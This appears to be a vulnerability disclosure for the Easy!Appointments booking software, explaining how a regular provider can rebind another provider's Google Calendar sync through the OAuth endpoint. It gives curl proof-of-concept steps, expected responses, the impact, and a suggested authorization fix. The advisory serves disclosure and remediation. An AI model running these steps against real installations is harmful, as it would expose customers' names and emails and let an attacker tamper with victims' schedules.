Details
- Log in as the attacker provider into a dedicated cookie jar:
export ATTACKER_JAR=/tmp/attacker.cookies
curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=mallory" \
--data-urlencode "password=Attacker-pw-1" > /dev/null
Exploit
- The attacker, logged in as a regular provider with id
$ATTACKER_ID, points/google/oauth/at the victim provider's id$VICTIM_ID:
curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5
Expected: HTTP/1.1 302 Found with Location: https://accounts.google.com/o/oauth2/auth?... - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6=="ea_session"{print $7}' $ATTACKER_JAR) shows oauth_provider_id|s:1:"<VICTIM_ID>" appended to the attacker's session data alongside their own user_id|i:<ATTACKER_ID>.
- The attacker copies the
ea_sessioncookie from$ATTACKER_JARinto a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back tohttp://localhost/index.php/google/oauth_callback?code=...and the app exchanges the code for an access + refresh token.
- Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's
ea_user_settings:
docker compose exec -T mysql mysql -uuser -ppassword easyappointments \
-e "SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')"
Expected: google_sync = 1, google_token = {"access_token":"...","refresh_token":"..."} (attacker's), google_calendar = primary.
- Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:
CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies)
curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies)
curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "post_data[manage_mode]=false" \
--data-urlencode "post_data[appointment][id_users_provider]=$VICTIM_ID" \
--data-urlencode "post_data[appointment][id_services]=1" \
--data-urlencode "post_data[appointment][start_datetime]=2026-06-01 10:00:00" \
--data-urlencode "post_data[appointment][end_datetime]=2026-06-01 10:30:00" \
--data-urlencode "post_data[customer][first_name]=Carol" \
--data-urlencode "post_data[customer][last_name]=Victim" \
--data-urlencode "post_data[customer][email][email protected]"
Expected: the attacker's Google calendar receives a new event whose title is the service name, with Carol Victim <[email protected]> listed as an attendee.
Impact
- Confidentiality: Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (
Google_sync.php:184-189). - Integrity: Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next
Console::syncremoves the local row (Google.php:186-191). - Integrity: Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (
Google.php:209-254).
Suggestions to fix
> _This has not been tested - it is illustrative only._
Reject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate select_google_calendar and disable_provider_sync already use.
public function oauth(string $provider_id): void
{
if (!$this->session->userdata('user_id')) {
show_error('Forbidden', 403);
}
+ if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) {
+ abort(403, 'Forbidden');
+ }
+
// Store the provider id for use on the callback function.
session(['oauth_provider_id' => $provider_id]);
// Redirect browser to google user content page.
header('Location: ' . $this->google_sync->get_auth_url());
}
Credit
Dredsen, 2026.